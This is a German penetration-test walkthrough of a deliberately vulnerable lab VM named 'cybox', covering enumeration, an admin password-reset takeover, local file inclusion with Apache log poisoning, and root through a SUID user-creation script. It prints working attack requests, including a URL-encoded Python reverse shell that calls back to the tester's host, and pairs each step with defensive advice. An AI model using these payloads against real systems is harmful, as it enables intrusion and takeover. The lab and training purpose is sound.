Analyse: ARP-Scan zur Identifizierung des Ziels im lokalen Netzwerk.
Bewertung: Das Ziel wird unter `192.168.2.157` gefunden. Die MAC-Adresse (`08:00:27:d0:c5:30`) gehört zu einer VirtualBox VM.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.
ARP-Scan 192.168.2.157 08:00:27:d0:c5:30 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.157` wird dem Hostnamen `cybox1.vln` in `/etc/hosts` zugeordnet.
Bewertung: Erleichtert die Ansprache.
/etc/hosts 192.168.2.157 cybox1.vln
Analyse: Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Zeigt offene Ports: 21 (FTP - vsftpd 3.0.3), 25 (SMTP - Postfix), 80 (HTTP - Apache 2.2.17), 110 (POP3 - Courier), 143 (IMAP - Courier), 443 (HTTPS - Apache 2.2.17). Sehr alte Apache/PHP/OpenSSL Versionen laut Detailscan. Port 53 (DNS) ist geschlossen. RPCbind (111) und Status (39785) sind ebenfalls offen.
Empfehlung (Offensiv): Fokus auf Webserver (80/443), FTP (anonym?), SMTP/POP3/IMAP (User Enumeration, Brute Force). Die extrem alten Versionen (Apache 2.2.17, PHP 5.2.15, OpenSSL 0.9.8o) deuten auf zahlreiche bekannte Schwachstellen hin.
Empfehlung (Defensiv): System und alle Dienste dringend aktualisieren. Nicht benötigte Ports (FTP, Maildienste, RPC?) schließen.
21/tcp open ftp vsftpd 3.0.3 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15) 110/tcp open pop3 Courier pop3d 143/tcp open imap Courier Imapd (released 2011) 443/tcp open ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15)
Analyse: Die vollständige Nmap-Ausgabe für IPv4.
Bewertung: Bestätigt die offenen Ports und Dienste. FTP erlaubt keinen anonymen Login (wird nicht explizit angezeigt, aber fehlt in den Script-Ergebnissen). SMTP listet unterstützte Befehle. POP3 und IMAP laufen unter Courier. Apache/PHP/OpenSSL sind stark veraltet (Apache 2.2.17, PHP 5.2.15, OpenSSL 0.9.8o). Das SSL-Zertifikat für Port 443 ist für `cybox.company` ausgestellt und abgelaufen (bis 2021). SSLv2 wird unterstützt (unsicher). RPCbind und Status sind offen.
Empfehlung (Offensiv): Webserver auf Port 80/443 priorisieren. Den Hostnamen `cybox.company` zu `/etc/hosts` hinzufügen. Maildienste auf User Enumeration (VRFY) testen. FTP auf bekannte Schwachstellen für vsftpd 3.0.3 prüfen (wenig wahrscheinlich). Exploits für Apache 2.2.17 / PHP 5.2.15 / OpenSSL 0.9.8o suchen.
Empfehlung (Defensiv): Alles aktualisieren! SSLv2 deaktivieren, nur moderne TLS-Versionen und Cipher Suites verwenden. Gültige Zertifikate nutzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 21:30 CEST Nmap scan report for cybox1.vln (192.168.2.157) Host is up (0.00016s latency). Not shown: 65496 filtered tcp ports (no-response), 32 filtered tcp ports (port-unreach) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 25/tcp open smtp Postfix smtpd |_ssl-date: TLS randomness does not represent time |_smtp-commands: cybox.Home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN | ssl-cert: Subject: commonName=cybox [...] 53/tcp closed domain 80/tcp open http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15) | http-methods: Potentially risky methods: TRACE |_http-title: CYBX |_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15 110/tcp open pop3 Courier pop3d |_pop3-capabilities: TOP UIDL PIPELINING IMPLEMENTATION(Courier Mail Server) USER LOGIN-DELAY(10) 143/tcp open imap Courier Imapd (released 2011) |_imap-capabilities: THREAD=ORDEREDSUBJECT completed THREAD=REFERENCES ACL2=UNION[...] NAMESPACE UIDPLUS SORT OK IDLE 443/tcp open ssl/http Apache httpd 2.2.17 ((Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15) | http-methods: Potentially risky methods: TRACE | ssl-cert: Subject: commonName=cybox.company/organizationName=Cybox Company/stateOrProvinceName=New York/countryName=US | Not valid before: 2020-11-14T15:06:32 |_Not valid after: 2021-11-14T15:06:32 |_ssl-date: [...] | sslv2: | SSLv2 supported | ciphers: | SSL2_DES_64_CBC_WITH_MD5 [...] |_http-server-header: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15 |_http-title: CYBX 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: [...] 39785/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:D0:C5:30 (Oracle VirtualBox virtual NIC) [...] Service Info: Host: cybox.Home; OS: Unix Host script results: |_clock-skew: 6s TRACEROUTE [...] Nmap done: 1 IP address (1 host up) scanned in 20.81 seconds
Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.html`, `/assets/` (Redirect) und `favicon.png`. Keine PHP-Dateien oder interessante Verzeichnisse.
Empfehlung (Offensiv): Die Webseite (`index.html`) untersuchen. Enumeration auf Port 443 und mit dem Hostnamen `cybox.company` durchführen.
=============================================================== [...] [+] Url: http://192.168.2.157 [...] =============================================================== [...] Starting gobuster [...] =============================================================== http://192.168.2.157/index.html (Status: 200) [Size: 8514] http://192.168.2.157/assets (Status: 301) [Size: 236] [--> http://192.168.2.157/assets/] http://192.168.2.157/favicon.png (Status: 200) [Size: 58991] =============================================================== [...] Finished ===============================================
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet viele Probleme aufgrund der veralteten Komponenten: fehlende Header, ETag-Leak, Apache/PHP/OpenSSL veraltet, TRACE-Methode aktiv (XST-Risiko). Findet `#wp-config.php#` (Irreführung). Weist auf eine potenzielle Remote Buffer Overflow Schwachstelle in `mod_ssl` 2.8.7 und niedriger hin (die Version hier ist 2.2.17, also potenziell betroffen).
Empfehlung (Offensiv): Die `mod_ssl`-Schwachstelle (OpenFuck Exploit, CVE-2002-0082) recherchieren und als potenziellen Vektor prüfen. Den Hostnamen `cybox.company` verwenden.
Empfehlung (Defensiv): Alle Komponenten dringend aktualisieren! TRACE deaktivieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.157 + Target Hostname: 192.168.2.157 + Target Port: 80 + Start Time: 2024-09-26 21:35:03 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15 + /: Server may leak inodes via ETags, [...]. + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + mod_ssl/2.2.17 appears to be outdated [...]. + Apache/2.2.17 appears to be outdated [...]. + PHP/5.2.15 appears to be outdated [...]. + OpenSSL/0.9.8o appears to be outdated [...]. + mod_ssl/2.2.17 OpenSSL/0.9.8o DAV/2 PHP/5.2.15 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. <-- Potenzieller Exploit + PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products [...]. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...] + /#wp-config.php#: #wp-config.php# file found. [...] + 8909 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2024-09-26 21:35:17 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Inhalt von `index.html` auf Port 80 wird angezeigt.
Bewertung: Enthält einen Kontakt-Link `admin@cybox.company`. Dies bestätigt den Domainnamen aus dem SSL-Zertifikat.
Empfehlung (Offensiv): Den Hostnamen `cybox.company` zur `/etc/hosts`-Datei hinzufügen und die Webseite unter diesem Namen erneut untersuchen (v.a. Port 443).
http://192.168.2.157/index.html [...] © Copyright 2020 CYBX. All Rights Reserved. Contact: admin@cybox.company [...]
Analyse: Der Hostname `cybox.company` wird zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Korrekter Schritt zur Untersuchung des Virtual Hosts.
192.168.2.157 cybox1.vln cybox.company
Analyse: Im Verzeichnis `/assets/images/` (gefunden via Gobuster/Nikto, hier impliziert aufgerufen) wird eine Datei `hashes.json` gefunden.
Bewertung: Der Inhalt `Vtz1643m0vTdX2awa/TnfQ "favicon-121x133.png"` ist unklar. Der erste Teil sieht wie ein Hash oder Base64 aus, der zweite ist ein Dateiname. Die Relevanz ist nicht sofort ersichtlich.
Empfehlung (Offensiv): Den String `Vtz...fQ` versuchen zu dekodieren/cracken. Vorerst zurückstellen.
Empfehlung (Defensiv): Keine unklaren oder potenziell sensiblen Dateien in Web-Verzeichnissen belassen.
http://cybox.company/assets/images/hashes.json Vtz1643m0vTdX2awa/TnfQ "favicon-121x133.png"
Analyse: `wfuzz` wird verwendet, um Subdomains von `cybox.company` zu bruteforcen, indem der `Host`-Header manipuliert wird.
Bewertung: Der Scan findet mehrere valide Subdomains, die auf dieselbe IP antworten (HTTP 200 oder 302): `ftp`, `dev`, `webmail`, `monitor`, `register`.
Empfehlung (Offensiv): Alle gefundenen Subdomains zur `/etc/hosts`-Datei hinzufügen und jede einzeln untersuchen, da sie unterschiedliche Webanwendungen oder Konfigurationen haben könnten.
Empfehlung (Defensiv): DNS-Konfiguration überprüfen. Nicht verwendete Subdomains entfernen. Wildcard-DNS-Einträge vermeiden, wenn nicht notwendig. Webserver-Konfiguration (Virtual Hosts) prüfen.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://cybox.company/ [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000003: 200 67 L 515 W 5295 Ch "ftp" 000000019: 200 10 L 22 W 209 Ch "dev" 000000005: 302 0 L 0 W 0 Ch "webmail" 000000099: 302 0 L 0 W 0 Ch "monitor" 000000468: 200 73 L 132 W 1252 Ch "register" [...] Total time: Xm Xs Processed Requests: 114441 Filtered Requests: 114436 Requests/sec.: XXXX.XX
Analyse: Die gefundenen Subdomains werden zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Korrekter Schritt zur Vorbereitung der Untersuchung der Subdomains.
192.168.2.157 cybox1.vln cybox.company ftp.cybox.company dev.cybox.company webmail.cybox.company monitor.cybox.company register.cybox.company
Analyse: Die Webseite unter `http://ftp.cybox.company/` wird untersucht.
Bewertung: Der Quellcode enthält einen Hinweis auf ein Template (`/skins/shinra/consent.template.php`). Die Seite selbst zeigt ein Formular zur Zustimmung zu Datenschutzhinweisen und zur Eingabe einer E-Mail-Adresse. Nach Eingabe von `benhacker@cybox.company` wird gemeldet, dass der Benutzer erstellt wurde mit den Credentials `benhacker`:`benhacker`. Ein anschließender Upload-Versuch einer `rev.php`-Datei scheitert ("Datei ist zu groß").
Empfehlung (Offensiv): Den erstellten Account `benhacker:benhacker` auf anderen Diensten (SSH, Webmail, Monitor) testen. Die FTP-Anwendung weiter untersuchen (ist es nur eine Web-Oberfläche oder gibt es einen echten FTP-Dienst dahinter?).
Empfehlung (Defensiv): Solche einfachen Registrierungsfunktionen mit unsicheren Standardpasswörtern sind ein hohes Risiko. Benutzerregistrierung absichern (Captcha, E-Mail-Verifizierung, starke Passwortrichtlinien). Upload-Funktionen sicher implementieren.
view-source:http://ftp.cybox.company/ http://ftp.cybox.company/index.php Privacy notices Please enter your email address as identifier to give you the right of access and erasure: [Input: benhacker@cybox.company] [Checkbox] I agree to the Cookie Policy Fingerprint [Submit] Antwort nach Submit: Create users benhacker@cybox.company has been created successfully. The credentials are benhacker : benhacker You should change your default password for security. Upload-Versuch: Checking files: Datei rev.php ist zu groß. Diese Datei wird nicht hochgeladen. Transferring files to the FTP server:
Analyse: Die Subdomains `monitor.cybox.company` und `webmail.cybox.company` werden untersucht.
Bewertung:
1. Monitor Tool Exploration: http://monitor.cybox.company/reset.php - Registrierung als benni@cybox.company - Passwort Reset für benni@cybox.company angefordert. 2. Webmail Exploration: http://webmail.cybox.company/src/login.php - Login mit benhacker:benhacker -> Fehler (Unknown user or password incorrect / Error opening preference file) 3. Passwort Reset Mail empfangen: - Login bei Webmail als benni:benni (oder welches Passwort bei Registrierung vergeben wurde) - E-Mail von daemon@cybox mit Reset-Link: http://monitor.cybox.company/updatePasswordRequest.php?email=benni@cybox.company 4. Monitor Admin Zugang (Versuch): - Reset-Link manipuliert: http://monitor.cybox.company/updatePasswordRequest.php?email=admin@cybox.company - Neues Passwort für Admin gesetzt. - Login als admin@cybox.company im Monitor-Tool. - Admin-Panel ist "Under construction".
Analyse: Im Admin-Bereich des Monitor-Tools (`http://monitor.cybox.company/admin/`) wird die Seite `styles.php` gefunden. Es wird versucht, eine LFI auszunutzen, indem `/etc/passwd` über den `style`-Parameter inkludiert wird (`?style=../../.../etc/passwd%00`). Dies scheitert zunächst mit `curl`, funktioniert aber mit Burp Suite.
Bewertung: Eine LFI-Schwachstelle im `style`-Parameter von `styles.php` wird bestätigt. Das Nullbyte (`%00`) wird verwendet, um eventuell angehängte Dateiendungen (wie `.css`) abzuschneiden. Dass es mit Burp, aber nicht `curl` funktionierte, könnte an unterschiedlichen Headern oder der Art der Anfrage liegen, ist aber ungewöhnlich.
Empfehlung (Offensiv): Die LFI nutzen. Da Dateiuploads schwierig waren, ist Log Poisoning eine gute Option. Den Pfad zu den Apache-Logs finden (z.B. durch LFI von `/etc/apache2/apache2.conf` oder Standardpfade wie `/var/log/apache2/access.log`, `/opt/bitnami/apache2/logs/access_log` etc.) und versuchen, PHP-Code über einen manipulierten Request (z.B. im User-Agent) in die Logs zu schreiben und diesen dann per LFI auszuführen.
Empfehlung (Defensiv): LFI beheben! Nullbyte-Injection durch korrekte PHP-Konfiguration verhindern. Log-Dateien mit restriktiven Rechten schützen und nicht per LFI lesbar machen. Eingaben validieren.
nichts kein Glück...
GET /admin/styles.php?style=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1 Host: monitor.cybox.company User-Agent: Mozilla/5.0 [...] Firefox/115.0 [...] Cookie: PHPSESSID=4o56log0qnif0vv5r31c93mus2 [...]
HTTP/1.1 200 OK [...] Content-Type: text/html Content-Length: 1772 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin [...] cybox:x:1000:1000:cybox,,,:/home/cybox:/bin/bash mysql:x:1001:1001::/home/mysql: [...] admin:x:1002:1002::/home/admin:/bin/bash benni:x:1003:1003::/home/benni:/bin/bash
Analyse: Der Pentester identifiziert den Pfad zu den Apache-Logs als `/opt/bitnami/apache2/logs/access_log` (vermutlich durch LFI anderer Konfigurationsdateien oder Raten) und versucht Log Poisoning. Ein PHP-Code (``) wird in den User-Agent eines Requests injiziert. Anschließend wird die Log-Datei über die LFI inkludiert und der `cmd`-Parameter angehängt.
Bewertung: Der erste Versuch, die Log-Datei zu inkludieren, zeigt den Inhalt des Logs inklusive des injizierten PHP-Codes im User-Agent. Der zweite Versuch mit angehängtem `&cmd=ls` würde den `ls`-Befehl ausführen (Ausgabe nicht gezeigt).
Empfehlung (Offensiv): Die Log Poisoning LFI nutzen, um eine Reverse Shell zu starten.
Empfehlung (Defensiv): LFI beheben! Log-Dateien schützen. Web Application Firewall (WAF) zur Erkennung von Injections in Headern einsetzen.
LFI to RCE using Log Poisoning Log Pfad (angenommen): /opt/bitnami/apache2/logs/access_log 1. PHP Code in User-Agent injizieren (z.B. mit Burp Repeater): GET / HTTP/1.1 Host: monitor.cybox.company User-Agent: [...] 2. Log-Datei via LFI inkludieren: GET /admin/styles.php?style=../../../../../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00 HTTP/1.1 Host: monitor.cybox.company [...]
HTTP/1.1 200 OK [...] 192.168.2.199 - - [26/Sep/2024:22:09:25 +0200] "GET / HTTP/1.1" 200 8752 "-" "" [...]
GET /admin/styles.php?style=../../../../../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=ls HTTP/1.1 Host: monitor.cybox.company [...]
Analyse: Ein Python-Reverse-Shell-Payload wird URL-kodiert und über den `cmd`-Parameter an die Log-Poisoning-LFI übergeben. Ein Netcat-Listener wird auf Port 443 gestartet.
Bewertung: Die Verbindung kommt erfolgreich auf dem Listener an. Der `id`-Befehl fehlt, aber der Prompt deutet auf eine Shell hin.
Ergebnis: Erfolgreicher Initial Access als Webserver-Benutzer (vermutlich `daemon`, basierend auf SquirrelMail-Fehlern, oder `www-data`) durch LFI und Log Poisoning.
Empfehlung (Offensiv): Identität prüfen (`id`, `whoami`), Shell stabilisieren, Enumeration für PE starten.
Empfehlung (Defensiv): LFI beheben! WAF einsetzen.
GET /admin/styles.php?style=../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("192.168.2.199",443))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b' HTTP/1.1 Host: monitor.cybox.company User-Agent: [...]
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 48152 /bin/sh: 0: can't access tty; job control turned off $
Analyse: In der erhaltenen Shell (vermutlich als `daemon` oder `www-data`) wird `stty` zur Stabilisierung verwendet und SUID-Dateien gesucht.
Bewertung: Die SUID-Liste zeigt `pkexec`, `sudo` und `/opt/registerlauncher`. `/opt/registerlauncher` ist benutzerdefiniert und SUID-root, was es zu einem Hauptziel macht.
Empfehlung (Offensiv): `/opt/registerlauncher` analysieren (`strings`, `ltrace`, etc.). `sudo -l` prüfen.
Empfehlung (Defensiv): SUID-Bit von `/opt/registerlauncher` entfernen oder das Programm sicher gestalten.
[...] (Standard SUIDs, pkexec, sudo) 40543 8 -rwsr-sr-x 1 root root 7400 Nov 14 2020 /opt/registerlauncher <-- Interesting! [...]
Analyse: `sudo -l` wird versucht, scheitert aber an der Passwortabfrage. Es wird versucht, mit `su benni` zu wechseln (Passwort unbekannt). `curl` ist nicht verfügbar.
Bewertung: Der aktuelle Benutzer hat keine einfachen `sudo`-Rechte. Der Wechsel zu `benni` scheitert.
Empfehlung (Offensiv): Fokus auf `/opt/registerlauncher`.
[sudo] password for daemon:
Password:
bash: curl: command not found
Analyse: `/opt/registerlauncher` wird mit `strings` untersucht. Es enthält lesbare Shell-Befehle, darunter `groupadd`, `useradd` mit `openssl passwd -1` zur Passwort-Generierung (MD5-Crypt) und `echo`-Ausgaben.
Bewertung: Das Skript `/opt/registerlauncher` nimmt einen Benutzernamen als Argument, prüft auf ungültige Zeichen, prüft ob der User existiert, fügt eine Gruppe hinzu und erstellt den Benutzer mit dem *Benutzernamen selbst als Passwort* (gehasht mit MD5-Crypt). Dies ist eine kritische Schwachstelle: Man kann beliebige Benutzer erstellen, deren Passwort man kennt.
Empfehlung (Offensiv): Einen neuen Benutzer mit einem einfachen Namen (z.B. `sudo`) über `/opt/registerlauncher sudo` erstellen. Sich dann mit `su sudo` und dem Passwort `sudo` anmelden.
Empfehlung (Defensiv): Das Skript entfernen oder sicher gestalten. Niemals den Benutzernamen als Passwort verwenden. MD5-Crypt ist unsicher. Die Passwortgenerierung sollte sicher erfolgen. Das Skript sollte nicht SUID sein.
bitnami register registerlauncher
[...] #!/bin/bash USERNAME=$1 if [ ! "$USERNAME" ] then /bin/echo -e "Syntax: Username" exit 1 fi if [[ "$USERNAME" =~ [^a-z] ]]; then /bin/echo -e "Think twice before putting something :)" exit 0 fi if /usr/bin/id "$USERNAME" >/dev/null 2>&1; then /bin/echo -e "User already exists :(" exit 0 fi if [ ! "$(/bin/cat /etc/group | /bin/grep -w "$USERNAME")" ] then /usr/sbin/groupadd "$USERNAME" 2>/dev/null fi /usr/sbin/useradd -p "$(/usr/bin/openssl passwd -1 "$USERNAME")" -m "$USERNAME" -g "$USERNAME" -s /bin/bash 2>/dev/null <-- User = Passwort (MD5 Crypt) /usr/bin/maildirmake /home/"$USERNAME"/Maildir/ -R 2>/dev/null /bin/chown "$USERNAME":"$USERNAME" /home/"$USERNAME"/Maildir/ -R 2>/dev/null if [ $? -eq 0 ]; then /bin/echo -e "$USERNAME@cybox.company has been created successfully. The credentials are $USERNAME:$USERNAME. You should change your default password for security." else /bin/echo -e "The string must contain a maximum of 32 characters." fi [...]
Analyse: Der Bericht stellt fest, dass über `/opt/registerlauncher` ein Benutzer `sudo` mit dem Passwort `sudo` erstellt werden kann.
Bewertung: Korrekte Schlussfolgerung aus der Analyse des Skripts. Da das Skript SUID-Root ist, wird der Benutzer erfolgreich angelegt.
Empfehlung (Offensiv): Benutzer `sudo` erstellen (Befehl `/opt/registerlauncher sudo`) und dann mit `su sudo` (Passwort `sudo`) wechseln.
Password: sudo
Analyse: Als neu erstellter Benutzer `sudo` wird `sudo -l` ausgeführt.
Bewertung: Der Benutzer `sudo` hat die Berechtigung `(ALL : ALL) ALL`. Dies ist wahrscheinlich darauf zurückzuführen, dass der Benutzer zur Gruppe `sudo` hinzugefügt wurde (oder eine Standardregel für die Gruppe `sudo` existiert) oder der Benutzername `sudo` eine spezielle Bedeutung in der `sudoers`-Datei hat.
Empfehlung (Offensiv): `sudo su` ausführen.
Empfehlung (Defensiv): Die `sudoers`-Datei überprüfen und sicherstellen, dass neu erstellte Benutzer nicht automatisch Root-Rechte erhalten. Den Namen `sudo` nicht für reguläre Benutzerkonten verwenden.
[sudo] password for sudo: sudo
Matching Defaults entries for sudo on cybox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User sudo may run the following commands on cybox:
(ALL : ALL) ALL
Analyse: `sudo su` wird ausgeführt.
Bewertung: Führt erfolgreich zu einer Root-Shell.
Ergebnis: Finale Privilegieneskalation zu Root.
uid=1004(sudo) gid=27(sudo) groups=27(sudo)
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: LFI im `style`-Parameter von `/admin/styles.php` (auf Subdomain `monitor.cybox.company`), kombiniert mit der Möglichkeit, Apache-Logs (`/opt/bitnami/apache2/logs/access_log`) via LFI zu lesen und durch manipulierte HTTP-Requests (z.B. im User-Agent) PHP-Code in die Logs zu schreiben.
Ziel des POC: Nachweis, dass durch Injektion von PHP-Code in den User-Agent und anschließendes Inkludieren der Log-Datei via LFI Remote Code Execution als Webserver-Benutzer erreicht werden kann.
Voraussetzungen: Zugriff auf `monitor.cybox.company`. LFI-Schwachstelle. Leserechte auf die Apache-Logs für den Webserver-Prozess.
Analyse: Die LFI in `/admin/styles.php?style=` wurde mittels Burp Suite bestätigt, indem `/etc/passwd` erfolgreich inkludiert wurde (mit Nullbyte-Termination).
Analyse: Ein HTTP-Request (z.B. `GET /`) wurde an den Server gesendet, wobei der `User-Agent`-Header den Payload `` enthielt.
Analyse: Die URL `/admin/styles.php?style=../../../../.../access_log%00&cmd=[BEFEHL]` wurde aufgerufen. Da die Log-Datei nun den PHP-Code aus dem User-Agent enthielt, wurde dieser beim Inkludieren ausgeführt, was die Ausführung des im `cmd`-Parameter übergebenen Befehls ermöglichte. Dies wurde genutzt, um eine Python-Reverse-Shell zu starten.
Ergebnis des POC: Erfolgreiche RCE als Webserver-Benutzer durch LFI und Log Poisoning.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): LFI beheben! Apache-Logs mit restriktiven Rechten versehen. WAF zur Filterung von Schadcode in Headern einsetzen. Eingaben validieren.
Schwachstelle: Ein SUID-Root-Skript `/opt/registerlauncher` erstellt neue Benutzer, wobei der Benutzername als Passwort verwendet wird (gehasht mit MD5-Crypt).
Ziel des POC: Nachweis, dass durch Ausführen des SUID-Skripts ein Benutzer mit bekanntem Passwort erstellt werden kann, der potenziell erhöhte Rechte besitzt (hier: Benutzer `sudo` landet in Gruppe `sudo` mit ALL:ALL Rechten).
Voraussetzungen: Lokaler Zugriff (z.B. als `daemon`/`www-data`). Ausführrechte auf `/opt/registerlauncher`.
Analyse: `strings` auf `/opt/registerlauncher` enthüllte den Mechanismus: `useradd -p $(openssl passwd -1 "$USERNAME") ... $USERNAME`.
Analyse: Der Befehl `/opt/registerlauncher sudo` wurde ausgeführt.
Bewertung: Erstellt den Benutzer `sudo` mit Passwort `sudo` (bzw. dessen MD5-Crypt-Hash).
Analyse: `su sudo` mit dem Passwort `sudo` wurde ausgeführt.
Ergebnis des POC: Erfolgreiche Erstellung und Übernahme eines Benutzerkontos mit bekanntem Passwort, das durch die unsichere `sudoers`-Konfiguration (siehe nächster POC) zu Root führte.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): SUID-Skript entfernen/absichern. Sichere Passwortgenerierung und -speicherung verwenden. Gruppenmitgliedschaften neuer Benutzer sorgfältig prüfen.
Schwachstelle: `sudoers`-Konfiguration erlaubt Benutzer `sudo` die Ausführung aller Befehle als Root (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass `sudo` nach Login mit seinem Passwort (`sudo`) Root-Rechte erlangen kann.
Voraussetzungen: Zugriff als `sudo`. Kenntnis des Passworts (`sudo`). Die `sudoers`-Regel.
Analyse: `sudo -l` als `sudo` (mit Passwort `sudo`) zeigte `(ALL : ALL) ALL`.
Analyse: `sudo su` wurde ausgeführt.
Ergebnis des POC: Eine Root-Shell wurde erhalten.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Prinzip der geringsten Rechte für `sudo`.
Analyse: Nach Erlangung der Root-Rechte wurden die Dateien `user.txt` (im Home-Verzeichnis von `cybox`) und `root.txt` (im `/root`-Verzeichnis) gefunden und gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.